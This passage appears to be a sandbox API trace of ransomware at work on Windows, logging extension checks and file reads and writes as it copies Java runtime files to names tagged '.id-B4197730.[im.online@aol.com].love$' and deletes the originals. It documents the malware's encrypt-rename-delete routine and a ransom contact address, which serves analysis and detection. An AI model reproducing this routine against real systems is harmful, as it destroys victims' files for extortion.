Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.014] lstrlenW (lpString=".doc") returned 4 [0233.014] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString=".docx") returned 5 [0233.014] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0233.014] lstrlenW (lpString=".pdf") returned 4 [0233.014] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString=".xls") returned 4 [0233.014] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0233.014] lstrlenW (lpString=".xlsx") returned 5 [0233.014] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0233.015] lstrlenW (lpString=".ppt") returned 4 [0233.015] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0233.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.015] lstrlenW (lpString=".zip") returned 4 [0233.015] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0233.015] lstrlenW (lpString=".rar") returned 4 [0233.015] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0233.015] lstrlenW (lpString=".bz2") returned 4 [0233.015] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0233.015] lstrlenW (lpString=".7z") returned 3 [0233.015] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0233.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.015] lstrlenW (lpString=".dbf") returned 4 [0233.015] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0233.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.015] lstrlenW (lpString=".1cd") returned 4 [0233.015] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0233.015] lstrlenW (lpString=".jpg") returned 4 [0233.015] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.015] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0233.015] lstrlenW (lpString="messages_zh_TW.properties") returned 25 [0233.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.016] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=3752) returned 1 [0233.016] CloseHandle (hObject=0x45c) returned 1 [0233.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0233.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.017] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.017] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.018] GetLastError () returned 0x0 [0233.018] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xea8, lpOverlapped=0x0) returned 1 [0233.021] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xeb0, lpOverlapped=0x0) returned 1 [0233.023] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0233.023] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x106, lpOverlapped=0x0) returned 1 [0233.023] SetEndOfFile (hFile=0x4bc) returned 1 [0233.023] CloseHandle (hObject=0x4bc) returned 1 [0233.023] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.023] SetEndOfFile (hFile=0x45c) returned 1 [0233.680] CloseHandle (hObject=0x45c) returned 1 [0233.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0233.681] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0233.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.682] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.682] lstrlenW (lpString=".doc") returned 4 [0233.682] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0233.682] lstrlenW (lpString=".docx") returned 5 [0233.682] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0233.682] lstrlenW (lpString=".pdf") returned 4 [0233.682] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0233.682] lstrlenW (lpString=".xls") returned 4 [0233.682] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString=".xlsx") returned 5 [0233.683] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0233.683] lstrlenW (lpString=".ppt") returned 4 [0233.683] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.683] lstrlenW (lpString=".zip") returned 4 [0233.683] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString=".rar") returned 4 [0233.683] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString=".bz2") returned 4 [0233.683] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString=".7z") returned 3 [0233.683] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0233.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.683] lstrlenW (lpString=".dbf") returned 4 [0233.683] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.683] lstrlenW (lpString=".1cd") returned 4 [0233.683] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.683] lstrlenW (lpString=".jpg") returned 4 [0233.683] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.683] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.684] lstrlenW (lpString=".doc") returned 4 [0233.684] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString=".docx") returned 5 [0233.684] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0233.684] lstrlenW (lpString=".pdf") returned 4 [0233.684] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString=".xls") returned 4 [0233.684] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString=".xlsx") returned 5 [0233.684] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0233.684] lstrlenW (lpString=".ppt") returned 4 [0233.684] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.684] lstrlenW (lpString=".zip") returned 4 [0233.684] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString=".rar") returned 4 [0233.684] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString=".bz2") returned 4 [0233.684] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString=".7z") returned 3 [0233.684] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0233.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.684] lstrlenW (lpString=".dbf") returned 4 [0233.684] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0233.684] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.685] lstrlenW (lpString=".1cd") returned 4 [0233.685] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0233.685] lstrlenW (lpString=".jpg") returned 4 [0233.685] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.685] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0233.685] lstrlenW (lpString="deploy.jar") returned 10 [0233.685] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.687] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=5040094) returned 1 [0233.687] CloseHandle (hObject=0x45c) returned 1 [0233.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0233.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0233.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.688] lstrlenW (lpString=".doc") returned 4 [0233.688] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0233.688] lstrlenW (lpString=".docx") returned 5 [0233.688] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0233.688] lstrlenW (lpString=".pdf") returned 4 [0233.688] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0233.688] lstrlenW (lpString=".xls") returned 4 [0233.688] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0233.688] lstrlenW (lpString=".xlsx") returned 5 [0233.688] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0233.688] lstrlenW (lpString=".ppt") returned 4 [0233.688] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0233.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.688] lstrlenW (lpString=".zip") returned 4 [0233.689] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0233.689] lstrlenW (lpString=".rar") returned 4 [0233.689] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0233.689] lstrlenW (lpString=".bz2") returned 4 [0233.689] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0233.689] lstrlenW (lpString=".7z") returned 3 [0233.689] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0233.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.689] lstrlenW (lpString=".dbf") returned 4 [0233.689] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0233.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.689] lstrlenW (lpString=".1cd") returned 4 [0233.689] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0233.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.689] lstrlenW (lpString=".jpg") returned 4 [0233.689] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0233.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.689] lstrlenW (lpString=".doc") returned 4 [0233.689] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0233.689] lstrlenW (lpString=".docx") returned 5 [0233.689] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0233.689] lstrlenW (lpString=".pdf") returned 4 [0233.690] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0233.690] lstrlenW (lpString=".xls") returned 4 [0233.690] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0233.690] lstrlenW (lpString=".xlsx") returned 5 [0233.690] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0233.690] lstrlenW (lpString=".ppt") returned 4 [0233.690] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0233.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.690] lstrlenW (lpString=".zip") returned 4 [0233.690] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0233.690] lstrlenW (lpString=".rar") returned 4 [0233.690] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0233.690] lstrlenW (lpString=".bz2") returned 4 [0233.690] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0233.690] lstrlenW (lpString=".7z") returned 3 [0233.690] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0233.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.690] lstrlenW (lpString=".dbf") returned 4 [0233.690] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0233.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.690] lstrlenW (lpString=".1cd") returned 4 [0233.690] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0233.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0233.690] lstrlenW (lpString=".jpg") returned 4 [0233.690] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0233.691] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0233.691] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0233.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.695] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=188024) returned 1 [0233.695] CloseHandle (hObject=0x45c) returned 1 [0233.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0233.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.696] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0233.696] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.696] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0233.696] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0233.840] GetLastError () returned 0x0 [0233.840] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2de78, lpOverlapped=0x0) returned 1 [0233.858] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2de80, lpOverlapped=0x0) returned 1 [0234.209] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0234.209] WriteFile (in: hFile=0x44c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xfc, lpOverlapped=0x0) returned 1 [0234.210] SetEndOfFile (hFile=0x44c) returned 1 [0234.210] CloseHandle (hObject=0x44c) returned 1 [0234.210] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0234.210] SetEndOfFile (hFile=0x45c) returned 1 [0234.217] CloseHandle (hObject=0x45c) returned 1 [0234.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.218] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0234.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.218] lstrlenW (lpString=".doc") returned 4 [0234.218] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.218] lstrlenW (lpString=".docx") returned 5 [0234.218] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0234.218] lstrlenW (lpString=".pdf") returned 4 [0234.218] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.218] lstrlenW (lpString=".xls") returned 4 [0234.218] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.219] lstrlenW (lpString=".xlsx") returned 5 [0234.219] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0234.219] lstrlenW (lpString=".ppt") returned 4 [0234.219] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.219] lstrlenW (lpString=".zip") returned 4 [0234.219] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.219] lstrlenW (lpString=".rar") returned 4 [0234.219] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.219] lstrlenW (lpString=".bz2") returned 4 [0234.219] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.219] lstrlenW (lpString=".7z") returned 3 [0234.219] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.219] lstrlenW (lpString=".dbf") returned 4 [0234.219] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.219] lstrlenW (lpString=".1cd") returned 4 [0234.219] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.219] lstrlenW (lpString=".jpg") returned 4 [0234.219] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.219] lstrlenW (lpString=".doc") returned 4 [0234.219] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.219] lstrlenW (lpString=".docx") returned 5 [0234.219] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0234.219] lstrlenW (lpString=".pdf") returned 4 [0234.219] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.220] lstrlenW (lpString=".xls") returned 4 [0234.220] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.220] lstrlenW (lpString=".xlsx") returned 5 [0234.220] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0234.220] lstrlenW (lpString=".ppt") returned 4 [0234.220] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.220] lstrlenW (lpString=".zip") returned 4 [0234.220] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.220] lstrlenW (lpString=".rar") returned 4 [0234.220] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.220] lstrlenW (lpString=".bz2") returned 4 [0234.220] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.220] lstrlenW (lpString=".7z") returned 3 [0234.220] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.220] lstrlenW (lpString=".dbf") returned 4 [0234.220] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.220] lstrlenW (lpString=".1cd") returned 4 [0234.220] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.220] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0234.220] lstrlenW (lpString=".jpg") returned 4 [0234.220] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.220] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.220] lstrlenW (lpString="sunmscapi.jar") returned 13 [0234.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.222] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=32699) returned 1 [0234.223] CloseHandle (hObject=0x45c) returned 1 [0234.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0234.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.223] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0234.223] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 